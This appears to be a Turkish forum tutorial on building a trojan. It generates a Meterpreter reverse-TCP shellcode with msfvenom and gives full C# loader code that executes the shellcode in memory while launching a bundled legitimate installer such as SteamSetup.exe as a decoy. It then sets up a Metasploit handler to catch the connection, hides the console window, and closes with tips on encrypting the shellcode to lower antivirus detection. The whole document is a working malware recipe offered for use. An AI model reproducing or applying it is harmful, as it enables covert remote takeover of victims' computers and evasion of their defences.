eline saglık güzel konuÖncelikle merhaba. İlk olarak metasploit framework aracından yardım alarak csharp ile shell kod olusturup başka bi uygulama ile birleştiircez
Kullanıcağımız derleyici
Visual Studio
- metasploit frameworkü tanıyalım - özetle Metasploit, siber güvenlik ve penetrasyon testlerinde yaygın olarak kullanılan açık kaynaklı bir araçtır. Temelde, güvenlik açıklarını keşfetmek, test etmek ve istismar etmek için kullanılır. Metasploit, güvenlik araştırmacılarının, sistemlerin ve uygulamaların zayıf noktalarını tespit etmelerine yardımcı olur. Ayrıca, sızma testleri sırasında çeşitli araçlar, exploitler (istismar araçları), payload’lar (zararlı yazılım yükleri) ve çeşitli modüller içerirmektedir
1. aşama ilk olarak shell kodunu oluşturalım
msfvenom -p windows/meterpreter/reverse_tcp LHOST=kendi ip nizi LPORT=4444 -f csharp
oklarla gösterilen yerden itibaren kopyalıyoruz
2. Aşama shell kodunu çalıştırıp , exeyi gömmede hadi geçelim
C#:using System; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Diagnostics; class Program { [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); static void Main() { // Shell kodu (örneğin) byte[] shellcode = new byte[] { Shell kodunuz burada }; // Gömülü uygulamanın adını dinamik bulma Assembly assembly = Assembly.GetExecutingAssembly(); var resourceNames = assembly.GetManifestResourceNames(); string resourceName = resourceNames.FirstOrDefault(name => name.EndsWith("yuklediginiz uygulamyı yazın ornegın =SteamSetup.exe")); if (resourceName == null) { Console.WriteLine("Gömülü dosya bulunamadı."); return; } // Gömülü EXE dosyasını geçici bir dosyaya yazma using (Stream resourceStream = assembly.GetManifestResourceStream(resourceName)) { if (resourceStream == null) { Console.WriteLine("Gömülü dosya okunamadı."); return; } string tempFilePath = Path.Combine(Path.GetTempPath(), "burayada yazin SteamSetup.exe"); using (FileStream fileStream = new FileStream(tempFilePath, FileMode.Create, FileAccess.Write)) { resourceStream.CopyTo(fileStream); } // Gömülü EXE'yi çalıştır Process.Start(tempFilePath); } // Shell kodu çalıştırma IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40); Marshal.Copy(shellcode, 0, addr, shellcode.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out uint threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } }
bu kodun çalışması için exeyi gömmeliyiz hadi geçelim
okla gösterilen yeri sağ tıklayıp
Ekle > Var Olan Öğeyi seçin ve
tüm dosyaları seçmeyi unutmayın yoksa exe bulunmuyo sonra exeyi bulun ve ekleyin
Ve bu kadar hiçte zor değil dimi sadece çok kısa bi işlem kaldı
exeye sağ tıklayın > özellikler dedikten sonra ayarları resimdeki gibi yapabilirsiniz
Unutmadan msfconsole yazıp bağlantı ayarlarını yapalım
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT -başta oluşturduğumuz shell kodda port-
set LHOST -başta oluşturduğumuz shell kodda ip adresiniz-
exploit
3. Burası isteğe bağlı ama ben bahsetmek istededin
sağ tıklayın > özellikler Ve aşağıdaki görseldeki ayarları yapmanızı öneririm
[url=https://hizliresim.com/qvd4vqi][/URL]
önemli olan çıkış türünü -Windows uygulaması- yapın
Ve bu kadar sıra En Zor işe geldi
"uygulamayı çalıştırın"
Kodu çalıştıralım ve oluşan exe yi alalım ve çalıştıralım
Veeeeeee sonuç
Not=Şuanda antivirüslere 15/38 gibi bir yakalnma oranı var eğer shell kodunu şifrelerseniz bunu antiviruslere yakalanma orani düşürebilirsiniz








